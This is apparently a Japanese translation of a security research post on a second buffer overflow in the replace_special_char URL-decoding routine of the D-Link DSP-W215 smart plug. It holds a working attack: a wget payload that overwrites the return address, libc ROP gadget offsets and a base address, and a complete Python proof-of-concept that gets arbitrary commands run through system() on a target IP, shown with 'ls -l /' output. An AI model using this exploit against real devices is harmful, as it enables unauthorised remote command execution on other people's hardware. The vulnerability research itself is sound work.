D-Link DSP-W215スマートプラグをハックします。 何回も

ここに何度もあります。
画像

DSP-W215の最後のエクスプロイトでは、get_input_entries関数はクラッシュせず、POST要求で「storage_path」という名前を使用する必要があると述べました。 これは、今度はget_input_entries関数に別のバッファオーバーフローがあるという事実のために行う必要があります。get_input_entriesは、パラメータポストの名前が「storage_path」または「path」と異なる場合に呼び出します。
画像

1つの引数がreplace_special_char関数に渡されます-処理されたPOST値へのポインター:
画像

この関数は、URLデコードを処理します。
画像

URLをデコードするために、関数はget_input_entriesが渡すPOST値の文字列の長さを取得します。
画像
post_value_length = strlen(post_data);

そして、post_value_lengthのすべてのバイトをループします。
画像

各反復で、関数は1つのデコードされた(urldecoded)バイト、またはデコードが不要な場合、スタックのローカル変数decode_bufのPOST値の元のバイトを保存します。
画像

実際、これはこれを行います:
void replace_special_char(char *post_data) { char decode_buf[0x258]; int post_value_length, i = 0, j = 0; memset(decode_buf, 0, sizeof(decode_buf)); post_value_length = strlen(post_data); while(i < post_value_length) { /* * ... * If post_data[i] == '%', then it's URL encoded; try to decode it here * (as long as the POST data isn't URL encoded, this code does nothing, * so it's not shown). * ... */ // No bounds checking on index j! decode_buf[j] = post_data[i]; j++; i++; } ... return; } 


replace_special_charスタックを見ると、612バイトを超えるPOST値は、スタック全体を最初に保存されたレジスター($ s0)にオーバーフローさせ、別の36バイトは保存された戻りアドレス($ ra)をオーバーフローさせます。
画像

 # Overflow $ra with 0x42424242 wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi 


画像
$ ra = 0×42424242

デコードループはstrlenを使用してdecode_bufにコピーする必要なバイト数を決定するため、POST要求でのNULLバイトの使用に関する制限を覚えておく必要があります。 これは、以前のエクスプロイトで使用したリターンアドレスが機能しないことを意味します。 要求にはNULLバイトが含まれますが、libcでROPを実行して同じ効果を得ることができます。

libc内のオフセット0xBA50には、スタック上のレジスタ$ a1(正確には$ sp + 0xB8)を指し、レジスタ$ s1から受け取るアドレスにジャンプするガジェットがあります。
画像
最初のropガジェット

バッファオーバーフロー中にオフセットが0×34640のアドレスで$ s1を書き換えると、プログラムは次のガジェットにジャンプし、レジスタ$ a1を$ a0(関数の最初の引数を持つレジスタ)に入れ、アドレスが$ s0にある関数を呼び出します。
画像
2番目のROPガジェット

そのため、$ s0がシステム()関数(libcのオフセット0x4BC80)を指すようにしました。つまり、スタックへのポインターを使用してsystem()を呼び出すことができます。
 system($sp+0xB8); 


libcのベースアドレス(0x2AB61000)をすべてのオフセットに追加した後、この脆弱性のPoCを記述してテストできます。
 #!/usr/bin/env python # Exploits overflow in replace_special_char. import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "foo=" # POST parameter name can be anything buf += "E" * 612 # Stack filler buf += "\x2A\xBA\xCC\x80" # $s0, address of system() buf += "\x2A\xB9\x56\x40" # $s1, address of ROP2 buf += "F" * 4 # $s2, don't care buf += "F" * 4 # $s3, address of ROP2 buf += "F" * 4 # $s4, don't care buf += "F" * 4 # $s5, address of ROP3 buf += "F" * 4 # $s6, don't care buf += "F" * 4 # $s7, don't care buf += "F" * 4 # $fp, don't care buf += "\x2A\xB6\xCA\x50" # $ra, address of ROP1 buf += "G" * 0xB8 # Stack filler buf += command # Command to execute req = urllib2.Request(url, buf) print urllib2.urlopen(req).read() 


前と同様に、任意のコマンドを実行して応答を取得できます。
 $ ./exploit2.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 22 19:18 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www 

Source: https://habr.com/ru/post/J223991/


All Articles